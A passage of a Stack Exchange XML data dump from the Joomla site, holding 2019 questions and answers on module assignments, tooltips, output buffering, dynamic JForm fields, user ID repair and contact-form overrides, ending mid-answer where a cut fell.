  <row Id="26202" PostTypeId="2" ParentId="26198" CreationDate="2019-09-25T12:06:42.587" Score="-1" Body="&lt;p&gt;you could try to unset the script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument(); &#xA;unset($doc-&amp;gt;_scripts[JURI::root(true) . '/pathofthescript.js']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2143" LastActivityDate="2019-09-25T12:06:42.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26204" PostTypeId="2" ParentId="24362" CreationDate="2019-09-25T12:14:03.520" Score="1" Body="&lt;p&gt;go to /administrator/index.php?option=com_installer&amp;amp;view=database&#xA;click on fix&lt;/p&gt;&#xA;" OwnerUserId="2143" LastActivityDate="2019-09-25T12:14:03.520" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26205" PostTypeId="1" AcceptedAnswerId="26207" CreationDate="2019-09-25T14:17:15.490" Score="2" ViewCount="65" Body="&lt;p&gt;Using Joomla 3.9.11 and &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager/faqs#how-to-prevent-the-url-assignment-also-matching-urls-you-don-t-want&quot; rel=&quot;nofollow noreferrer&quot;&gt;AMM 2.7.1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a blog with the url &lt;code&gt;www.example.com/news&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display some modules on the right hand side of this page, but &lt;strong&gt;only&lt;/strong&gt; on that exact URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the URL contains anything after &lt;code&gt;/news&lt;/code&gt; then the modules should not be displayed. For example &lt;code&gt;www.example.com/news/my-great-story&lt;/code&gt; should not display the modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this? &lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-09-25T14:41:13.183" Title="Advanced Module Manager Assignments" Tags="|module|module-display|joomla-3.9|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26206" PostTypeId="2" ParentId="26205" CreationDate="2019-09-25T14:23:08.020" Score="1" Body="&lt;p&gt;This seems to work, add URL include regex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;news($)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-09-25T14:23:08.020" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26207" PostTypeId="2" ParentId="26205" CreationDate="2019-09-25T14:41:13.183" Score="3" Body="&lt;p&gt;In URL assignments section:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the option to &lt;strong&gt;Include&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;In URL matches enter &lt;code&gt;/news/?$&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;strong&gt;Use Regular Expressions&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;*The &lt;code&gt;/?&lt;/code&gt; part is used for the case your &lt;code&gt;/news&lt;/code&gt; page is also loading via &lt;code&gt;/news/&lt;/code&gt; and you need to show the module in both cases.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-09-25T14:41:13.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26208" PostTypeId="2" ParentId="26199" CreationDate="2019-09-26T09:12:23.313" Score="1" Body="&lt;p&gt;Based on what you have described in your question, I can only give you some basic guidelines at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how you are developing the component - but when you clone/duplicate a list item, then what you are actually doing is to duplicating a row in the database, creating a new one with a new primary key but same other values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need first to gather all the data of the row that you are duplicating.&lt;br&gt;&#xA;By clicking the button you should have an id of that item to be copied. Use this id to gather all the remaining data of that row that you will use to create/save a new item.&lt;br&gt;&#xA;You probably might have methods in your models to fetch an item object by ID or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the source data in your save2copy function, go ahead with saving a new item with that data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you a little. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-09-26T09:12:23.313" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26209" PostTypeId="1" CreationDate="2019-09-26T17:48:01.037" Score="1" ViewCount="90" Body="&lt;p&gt;I want to modify the Robots Meta Tag like  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;nosnippet&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But Joomla give me only the choice between (NO)Index and (No)Follow and his combination in a article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best solution to modify this field with &lt;a href=&quot;https://developers.google.com/search/reference/robots_meta_tag&quot; rel=&quot;nofollow noreferrer&quot;&gt;other robots meta tags&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2019-09-26T17:48:01.037" Title="Modify the META &quot;Robots&quot;" Tags="|joomla-3.x|metadata|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26210" PostTypeId="1" AcceptedAnswerId="26217" CreationDate="2019-09-27T10:40:27.023" Score="0" ViewCount="90" Body="&lt;p&gt;I'm confused about this. I want to add a field to the com_content core component that needs to show up under the &quot;Title&quot; field in the administrator backend when you edit an article and of course to be it accessible site-wise in the front end in the article object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this official tutorial: &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Adding custom fields to core components using a plugin&lt;/strong&gt;&lt;/a&gt;, &#xA;where it talks about the front end editing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact it says to override the &lt;code&gt;/components/com_contact/views/form/tmpl/edit.php&lt;/code&gt; when the editing part in the backend happens in &lt;code&gt;/administrator/components/com_content/views/article/tmpl/edit.php&lt;/code&gt; and I'm not sure if the backend even reads the &lt;code&gt;/components/com_contact/views/form/tmpl/edit.xml&lt;/code&gt; that is supposed to add the field in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a tutorial that could help me achieve that? &#xA;I'm using joomla 3.9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I don't want to use the custom field feature.&lt;/p&gt;&#xA;" OwnerUserId="13799" LastEditorUserId="126" LastEditDate="2019-09-27T16:59:53.593" LastActivityDate="2019-09-30T07:14:14.813" Title="How to add a field to com_content in the backend?" Tags="|plugin|joomla-3.9|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26211" PostTypeId="1" CreationDate="2019-09-27T14:32:39.910" Score="1" ViewCount="31" Body="&lt;p&gt;I randomly get a warning notice on the front end of my Joomla! website and I really can't understand why.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Failed deleting sourcerer_php_d72bnbv27u4bfkdpa01347flf8gfkl&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I checked my tmp folder on the server and the file is not there but, if I create a file with that name where the other sourcerer_php files are, it gets deleted at every page view on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sourcerer works fine and I haven't tried to update it in the last couple of weeks. I tried activating the debug mode but with no luck.&lt;/p&gt;&#xA;" OwnerUserId="13800" LastEditorUserId="12352" LastEditDate="2019-09-27T16:46:48.663" LastActivityDate="2019-09-27T16:46:48.663" Title="Failed deleting sourcerer_php - Joomla 3.x" Tags="|joomla-3.x|component|sourcerer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26213" PostTypeId="1" CreationDate="2019-09-27T17:45:58.330" Score="0" ViewCount="130" Body="&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt;&#xA;I develop my website on my dev. subdomain and when ready and test and clone dev to the live domain. However at the same time my users may change their password or any other profile data, so before I go live with a new version, I need to save the user profiles with J2XML and load them into the dev website. I test everything on the dev site, but as the live site has to be shut down before  I save the user data, I usually do this after the in-depth testing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got into some trouble. I used to use the J2XML plugin to export and import my Joomla user data when doing site updates. Yesterday I exported my users with a previous version of J2XML and import it with the latest version. Unfortunately the latest version seems to have a bug and does not keep the userIDs even though the setting is on. I would like to avoid going back to an older version of the site and lose user data, so I tried to change manually the id field in the josru_users table, but after that I cannot login with my users: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning&#xA;You can't access the private section of this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else do I need to do to make sure that my users can log in again? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, &#xA;W. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12966" LastEditDate="2019-09-29T15:16:51.510" LastActivityDate="2019-09-29T15:16:51.510" Title="Users ID numbers messed up - how to change them manually? (urgent)" Tags="|joomla-3.x|user|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26214" PostTypeId="2" ParentId="26213" CreationDate="2019-09-27T23:28:46.203" Score="1" Body="&lt;p&gt;I would say you will have to also update the #__user_usergroup_map table to get the userids you have changed to map correctly back to their original User groups.&#xA;I hope you don't have a lot of users.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-09-27T23:28:46.203" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26215" PostTypeId="1" CreationDate="2019-09-28T11:35:29.033" Score="0" ViewCount="39" Body="&lt;p&gt;I implemented the solution that enables a blog layout for tagged items, as described here: &#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/13583/how-to-show-tagged-items-in-category-blog-layout&quot;&gt;How to show tagged items in category blog layout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I miss is the Read More button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I implement that?&lt;/p&gt;&#xA;" OwnerUserId="13801" LastEditorUserId="13801" LastEditDate="2019-09-28T16:23:11.263" LastActivityDate="2019-09-28T16:23:11.263" Title="Tagged blog layout with readmore" Tags="|overrides|tags|readmore|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26217" PostTypeId="2" ParentId="26210" CreationDate="2019-09-30T07:14:14.813" Score="1" Body="&lt;p&gt;The problem was that I put the edit.xml inside the override folder instead I needed to put it inside the plugin folder.&lt;/p&gt;&#xA;" OwnerUserId="13799" LastActivityDate="2019-09-30T07:14:14.813" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26219" PostTypeId="1" CreationDate="2019-09-30T18:16:05.643" Score="3" ViewCount="1339" Body="&lt;p&gt;I'm trying to set the position of the tooltip in Joomla 3.9.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.tooltip');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the top of the document. I then have field set as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo JHTML::tooltip($standings[$k][$k3][$k4]['team_name'], '', &#xA;            '', $standings[$k][$k3][$k4]['team_abbr']);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine. It displays the team abbr and when I mouseover it, it displays the team name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is that it displays it way too low before the field. It appears, based on Google DevTools that it automatically calculates a fixed position. This position needs to be 47 pixels right and 40 pixels higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the offset parameter code in the Joomla Docs to no avail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// set x (horizontal) distance to 20 pixels, y (vertical) distance to 30 pixels&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$toolTipArray = array('offsets'=&amp;gt;array('x'=&amp;gt;-47, 'y'=&amp;gt;40), &#xA;'maxtitlechars'=&amp;gt;40);&#xA;JHTML::_('behavior.tooltip', '.customOffset', $toolTipArray);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3594" LastActivityDate="2019-10-01T10:53:53.530" Title="JHTML::_('behavior.tooltip') — Set tooltip position" Tags="|joomla-3.x|php|php7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26220" PostTypeId="1" CreationDate="2019-09-30T19:03:49.047" Score="1" ViewCount="123" Body="&lt;p&gt;I have a module that I've created to test ob_flush buffering off.   I need to understand it so I can have some longer modules buffer output to the page as the script goes through long processes.   The code is working, however it is showing above the header of the page instead of in the module section (between the header and footer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the output buffering code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Turn off output buffering&#xA;ini_set('output_buffering', 'off');&#xA;// Turn off PHP output compression&#xA;ini_set('zlib.output_compression', false);&#xA;&#xA;//Flush (send) the output buffer and turn off output buffering&#xA;while (@ob_end_flush());&#xA;&#xA;// Implicitly flush the buffer(s)&#xA;ini_set('implicit_flush', true);&#xA;ob_implicit_flush(true);&#xA;ob_start();&#xA;&#xA;for($x=0; $x&amp;lt;25;$x++) {&#xA;    echo &quot;X=&quot; . $x; &#xA;    echo str_pad(&quot;&quot;,1024,&quot; &quot;);&#xA;    echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;    ob_flush();&#xA;    flush();&#xA;&#xA;    sleep(1);        &#xA;} &#xA;&#xA;&#xA;echo &quot;Program Output&quot;;&#xA;ob_flush();&#xA;flush();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any insight on how to get this working properly would be appreciated.  Here is a picture of the output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gl7Zy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gl7Zy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Chas&lt;/p&gt;&#xA;" OwnerUserId="3594" LastActivityDate="2019-09-30T19:03:49.047" Title="ob_flush pushes output before Joomla header" Tags="|joomla-3.x|php|php7|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26221" PostTypeId="2" ParentId="264" CreationDate="2019-10-01T08:57:30.413" Score="0" Body="&lt;p&gt;You can use blank component. That will achieve this result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/blank-component/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/blank-component/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-10-01T08:57:30.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26222" PostTypeId="2" ParentId="26219" CreationDate="2019-10-01T10:53:53.530" Score="3" Body="&lt;p&gt;Firstly, I'll just point out that &lt;code&gt;behavior.tooltip&lt;/code&gt; which is based on the &lt;code&gt;JHtmlBehavior&lt;/code&gt; class, is old and deprecated, so I will base my answer on the newer Bootstrap tooltips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the following HTML markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; title=&quot;The text for the tooltip&quot;&amp;gt;Some link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then utilise the JHtmlBootstrap class method, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.tooltip', '.hasTooltip', ['placement' =&amp;gt; 'left']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can set the &lt;code&gt;placement&lt;/code&gt; to one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;top&lt;/li&gt;&#xA;&lt;li&gt;bottom&lt;/li&gt;&#xA;&lt;li&gt;left&lt;/li&gt;&#xA;&lt;li&gt;right&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you require some additional functionality, there is an extended tooltip method, which will inject a CSS and JS file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can acheieve this by also adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.tooltipExtended');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you the following additional positions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;top-left&lt;/li&gt;&#xA;&lt;li&gt;top-right&lt;/li&gt;&#xA;&lt;li&gt;bottom-left&lt;/li&gt;&#xA;&lt;li&gt;bottom-right&lt;/li&gt;&#xA;&lt;li&gt;auto-dir (Will reverse the position if your site uses an &lt;strong&gt;RTL&lt;/strong&gt; language)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An example, would be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.tooltipExtended');&#xA;JHtml::_('bootstrap.tooltip', '.hasTooltip', ['placement' =&amp;gt; 'auto-dir bottom-left']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-10-01T10:53:53.530" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26223" PostTypeId="1" CreationDate="2019-10-01T15:21:00.197" Score="3" ViewCount="69" Body="&lt;p&gt;&lt;strong&gt;Item Model&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function preprocessForm(JForm $form, $data, $group = 'examplegroup')&#xA;{&#xA;    foreach ($data as $i =&amp;gt; $item) {&#xA;        $field = new \SimpleXMLElement('&amp;lt;field /&amp;gt;');&#xA;        $field-&amp;gt;addAttribute('name', 'sample[' . $i . ']');&#xA;        $field-&amp;gt;addAttribute('class', 'input-mini');&#xA;        $field-&amp;gt;addAttribute('type', 'number');&#xA;        $form-&amp;gt;setField($field, 'data');&#xA;        $form-&amp;gt;setValue('sample[' . $i . ']', 'examplegroup', $item-&amp;gt;fieldname);&#xA;        ...&#xA;    }&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Layout&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items-&amp;gt;data as $i =&amp;gt; $item) : ?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('sample[' . $i . ], 'examplegroup'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;number&quot; name=&quot;jform[examplegroup][sample[0]]&quot; value=&quot;6&quot; class=&quot;input-mini&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I achieve getting this kind of name &lt;code&gt;name=&quot;jform[examplegroup][sample][0]&quot;&lt;/code&gt; ? The form needs to be generated dynamicaly and not by writing the name static into the code.&lt;/p&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="12352" LastEditDate="2019-10-02T21:25:25.140" LastActivityDate="2019-10-02T21:25:25.140" Title="Creating a multidimensional JForm field dynamicaly" Tags="|joomla-3.x|jform|xml|array|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26224" PostTypeId="1" CreationDate="2019-10-01T16:02:53.640" Score="1" ViewCount="19" Body="&lt;p&gt;Joomla 3.9.11&lt;/p&gt;&#xA;&lt;p&gt;Whenever I am editing a contact I can see the following error on the page;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error&lt;/p&gt;&#xA;&lt;p&gt;An error has occurred.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No other information.&lt;/p&gt;&#xA;&lt;p&gt;I am able to edit and save the contacts, so there is no actual error that I can see.&lt;/p&gt;&#xA;&lt;p&gt;I have created custom fields for my contacts, these are also working as expected so I'm at a loss here :/&lt;/p&gt;&#xA;&lt;p&gt;What should I check in order to troubleshoot this? I'd rather not just ignore it.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-10-01T16:02:53.640" Title="Contacts - Error Occurred When Editing" Tags="|joomla-3.x|error-handling|com-contacts|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26225" PostTypeId="1" CreationDate="2019-10-02T07:53:39.233" Score="0" ViewCount="46" Body="&lt;p&gt;I am struggeling with ReDJ to configure redirection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to redirect all URLs except given once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com/something&#xA;https://www.example.com/something/abc&#xA;https://www.example.com/something/abc?id=0815&#xA;https://www.example.com/somethingOther&#xA;https://www.example.com/somethingOther/cba&#xA;https://www.example.com/somethingOther/cba?id=0816&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to a subdomain lets say&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://mysub.example.com/...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I do &lt;strong&gt;not&lt;/strong&gt; want to redirect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com/path1&#xA;https://www.example.com/path2&#xA;https://www.example.com/otherPath&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2019-10-02T07:53:39.233" Title="How to tell ReDJ to redirect all except given paths (negate /path1 and /path2)?" Tags="|redirect|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26226" PostTypeId="1" CreationDate="2019-10-02T08:12:50.760" Score="1" ViewCount="191" Body="&lt;p&gt;I am trying to solve the requirement to move some parts of the website to subdomains.&#xA;But I do not want to split the website into multiple joomla instances&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first idea was to use 301 redirects for the specific pages. I configured the apache/nginx to serve the subdomains as aliases of the top level domain. So now I can access all pages with the main and all subdomains&#xA;  =&gt; ✅ done-check&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next step was to define 301 redirect for the parts of the page i want to have on subdomains&#xA;  =&gt; ✅ done-check&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my issue is, that I have to control that all other parts of the domain have to stay on the top level domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought Virtual domain will help (&lt;a href=&quot;https://joomla.stackexchange.com/a/22362/13241&quot;&gt;https://joomla.stackexchange.com/a/22362/13241&lt;/a&gt;). But sadly the plugin does not do anything. So I got stuck with this approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the recommended way to handle my requirement?&lt;/p&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-10-02T08:12:50.760" Title="One joomla to serve as multi-domain/multi-site with subdomains (vhost)?" Tags="|redirect|multi-sites|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26227" PostTypeId="2" ParentId="26223" CreationDate="2019-10-02T16:21:39.060" Score="1" Body="&lt;p&gt;I found a solution that seams to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating the Form without the usual &lt;code&gt;jform&lt;/code&gt; control class like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $form = $this-&amp;gt;loadForm('my_comp.examplegroup', 'examplegroup', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;$form = $this-&amp;gt;loadForm('my_comp.examplegroup', 'examplegroup', array('control' =&amp;gt; '', 'load_data' =&amp;gt; $loadData));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then creating the fields dynamicaly with the whole name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function preprocessForm(JForm $form, $data, $group = 'examplegroup')&#xA;{&#xA;$field = new \SimpleXMLElement('&amp;lt;field /&amp;gt;');&#xA;$field-&amp;gt;addAttribute('name', 'jform[' . $i . '][sample]');&#xA;$form-&amp;gt;setValue('jform[' . $i . '][sample]', '', $item['sample']);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2019-10-02T16:21:39.060" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26228" PostTypeId="2" ParentId="21414" CreationDate="2019-10-03T05:50:49.497" Score="1" Body="&lt;p&gt;Session data is stored as Registry. Use keys separated by a dot to access nested properties.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session-&amp;gt;set('array.key', 'value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-03T05:50:49.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26229" PostTypeId="1" CreationDate="2019-10-03T16:33:32.017" Score="1" ViewCount="53" Body="&lt;p&gt;I have this weird bug everytime I log into Joomla with a non-administrative user. Every time the user logs into the site, he is removed out of all Joomla user groups, except the Registered group. I also opened up the Joomla administrative console in a different browser, and assigned the user back to those groups, but every page visit (after the non-admin user is logged in) it removes him out of the group again. Logging out does the same. I'm at a loss after spending several hours on this, trying to figure out what is happening here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that has changed to make this happen is upgrading the server to PHP 7.3.8 and Apache to 2.4. I'm doubtful as to whether that is the cause of the problem, but you never know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, another piece of information, the user is only not removed from groups when he also is a part of the super user group. This makes me think that there is some condition that first checks for super users and then does some logic. I've disabled two plugins related to adding/removing from groups, thinking it was a bug with either, but I can still replicate the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, I've added in debug statements to the &lt;code&gt;JUserHelper::removeUserFromGroup&lt;/code&gt; function, but those are not even called when the user is taken out of the group!&lt;/p&gt;&#xA;" OwnerUserId="13812" LastEditorUserId="12352" LastEditDate="2019-10-03T20:12:48.920" LastActivityDate="2019-10-03T20:12:48.920" Title="Joomla frontend user removed from groups automatically on log in / log out" Tags="|joomla-3.x|joomla-user-groups|bugs|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26230" PostTypeId="2" ParentId="24147" CreationDate="2019-10-04T14:55:01.323" Score="2" Body="&lt;p&gt;I've solved it this way...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create an override folder (if not existing) in your template folder for the Contact Form add-on. Copy the content from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;joomla_root_path&amp;gt;/components/com_sppagebuilder/addons/ajax_contact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;joomla_root_path&amp;gt;/templates/sppagebuilder/addons/ajax_contact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) In the &lt;code&gt;admin.php&lt;/code&gt; file add the following code after &lt;code&gt;'recipient_email'&lt;/code&gt; array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'recipient_email_2' =&amp;gt; array(&#xA;  'type' =&amp;gt; 'text',&#xA;  'title' =&amp;gt; JText::_( 'COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_RECIPIENT_EMAIL' ) . ' 2',&#xA;  'desc' =&amp;gt; 'This is another recipient email address. Optional.',&#xA;  'std' =&amp;gt; 'email@yourdomain.com'&#xA;), &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) In the &lt;code&gt;site.php&lt;/code&gt; file add the following code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;public function render()&lt;/code&gt; Under the &lt;code&gt;//Addon options&lt;/code&gt; add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recipient_email_2 = ( isset( $this-&amp;gt;addon-&amp;gt;settings-&amp;gt;recipient_email_2 ) &amp;amp;&amp;amp; 